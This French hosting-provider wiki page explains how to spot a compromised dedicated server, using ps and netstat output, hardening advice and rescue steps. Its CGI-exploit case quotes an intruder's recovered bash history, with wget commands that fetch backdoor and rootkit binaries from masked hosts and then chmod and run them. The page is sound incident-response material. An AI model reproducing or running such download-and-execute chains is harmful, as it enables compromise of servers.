Ça n'arrive pas qu'aux autres.
Comment voir qu'une machine est hackée ?
Un coup d'oeil sur MRTG ne trompe jamais:
et sur la machine on trouve :
root 3632 0.0 1.0 2368 1320 pts/0 S 10:51 0:00 -bash
root 6310 0.0 0.1 476 248 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
[...]
root 6360 0.0 0.1 476 244 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
root 6310 0.0 0.1 476 248 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
[...]
root 6360 0.0 0.1 476 244 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
Visiblement le hackeur a pu lancer des softs en root. La machine est donc hackée et doit être réinstallée.
# netstat -tanpu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:9875 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:1052 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:6770 0.0.0.0:* 28823/xc
# ps auxw | grep 28823
root 7117 0.0 0.5 1796 748 pts/1 S 11:38 0:00 grep 28823
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:9875 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:1052 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:6770 0.0.0.0:* 28823/xc
# ps auxw | grep 28823
root 7117 0.0 0.5 1796 748 pts/1 S 11:38 0:00 grep 28823
Il existe des softs lancés, qui ont un pid et qui ne sont pas vus par ps, sûrement parce que ps a été remplacé par un ps hacké qui filtre tous les softs du hackeur pour tromper l'oeil.
# halt
Broadcast message from root (pts/1) Thu Nov 20 11:39:22 2003...
The system is going down for system halt NOW !!
On arrête immédiatement la machine.
On peut avoir de la chance d'avoir une MachineSemiHackee.
Une autre expérience : MachineHackeeExemple.
Pourquoi la machine est hackée ?
Les origines des problèmes sont multiples, mais en gros on peut le résumer ainsi :
vous n'êtes pas assez parano.
Vous utilisez telnet. Votre login et mot de passe voyage par internet en clair et peuvent être sniffés à tout moment. Il faut utiliser ssh. Voici un petit guide à ce sujet : SshSurServeurDedie.
Vous utilisez ftp. Votre login et mot de passe voyage en clair sur internet et c'est le même que le mot de passe root. Sftp est votre solution.
Vous utilisez pop3/imap avec le mot de passe (qui voyage en claire) et c'est le mot de passe root. Utilisez APOP ou POP3S/IMAPS. Voici un petit guide à ce sujet : SmtpPop3Imap.
Si vous ne mettez pas à jour votre machine avec des releases ReleasePatchSecurite, vous risquez le hack facile (environ 250 scans sont effectués par jour sur notre reseau dans le but de detecter les failles de securité).
Que faire ?
En cas de hack, votre serveur sera placé en mode Rescue FTP automatiquement, et vous recevrez vos codes d'accès par email.
Vous pouvez ensuite demander au support de passer la machine en Rescue Mode, par ticket incident uniquement, en justifiant votre demande et votre engagement à corriger avant réactivation du serveur. Nous serons vigilants au fait que vous devez résoudre les failles avant de remettre le serveur en fonctionnement normal sur le réseau (mode HDD).
Exemples de hack
1. Faille de script CGI
Les symptômes
Un fichier g00dies.tgz uploadé dans le dossier /tmp avec d'autres fichiers : x, k, etc...
Le programme x est un backdoor ; lancé il donne accès à la machine.
On a trouvé le bash.history de l'utilisateur nobody dans /tmp, dont voici le contenu :
cd /tmp
wget www.#######.com/x
chmod +x x
./s
./x
./x
./x
./x./x
./x
./x
./x
./x
wget www.#######.com/k
chmod +x k
./k -d;
/tmp/x
./x
./x
./x
./x
./x
./x
./
cd /tmp
mkdir .,
cd .,
wget ######.go.ro/vampix
tar zxvf vampix
cd esc
./mingetty
./mingetty
./mingetty
cd /tmp
wget ######.go.ro/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
cd /tmp
wget ######.go.ro/smth
chmod +x smth
./smth
cd /tmp
wget ######.go.ro/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
/tmp/smth
/tmp/stealth
wget www.#######.com/x
chmod +x x
./s
./x
./x
./x
./x./x
./x
./x
./x
./x
wget www.#######.com/k
chmod +x k
./k -d;
/tmp/x
./x
./x
./x
./x
./x
./x
./
cd /tmp
mkdir .,
cd .,
wget ######.go.ro/vampix
tar zxvf vampix
cd esc
./mingetty
./mingetty
./mingetty
cd /tmp
wget ######.go.ro/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
cd /tmp
wget ######.go.ro/smth
chmod +x smth
./smth
cd /tmp
wget ######.go.ro/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
/tmp/smth
/tmp/stealth
Constat
On voit bien avec cela que des commandes ont été passées en tant que nobody, or cet user est essentiellement utilisé par apache ; il semble que le hacker ait profité d'une vulnérabilité d'un script CGI.
Résolution
- Killer tous les process suspects en cours.
Le hacker n'est apparamment pas passé root (il pourrait en effet profiter d'une faille d'un kernel <2.4.24) ;
on fait toutefois quelques opérations/vérifications élémentaires :
- Changer tous les mots de passe : root, user, mysql, mail, etc... (on voit que le hackeur a lancé mingetty)
- Faire une recherche exhaustive des fichiers modifiés depuis le hack : find /rep -cmin -60 (vérifie les fichiers modifiés depuis moins d'une heure).
- Consultez ensuite les logs d'apache aux environ de l'heure à laquelle il y a eu ce hack pour trouver le script en cause.